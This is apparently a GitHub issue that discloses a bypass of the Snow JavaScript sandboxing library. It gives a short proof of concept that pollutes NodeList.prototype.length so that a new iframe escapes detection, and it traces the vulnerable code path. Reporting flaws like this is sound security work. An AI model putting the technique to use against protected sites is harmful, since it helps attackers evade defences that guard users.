Skip to content

Snow can by bypassed with polluting NodeList.prototype.length #148

@terjanq

Description

@terjanq

PoC:

Object.defineProperty(NodeList.prototype, 'length', {value:0});
document.body.innerHTML = '<iframe name=iframe>';
iframe.alert(1337);

Vulnerable path:

  1. getFramesArray called in
    const frames = getFramesArray(element, false);
  2. slice() called on the results from querySelectorAll in

    snow/src/utils.js

    Lines 111 to 113 in 1c8faa8

    const list = querySelectorAll.call(element, 'iframe,frame,object,embed');
    fillArrayUniques(frames, slice(list));
    produces an empty array because of the length 0.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions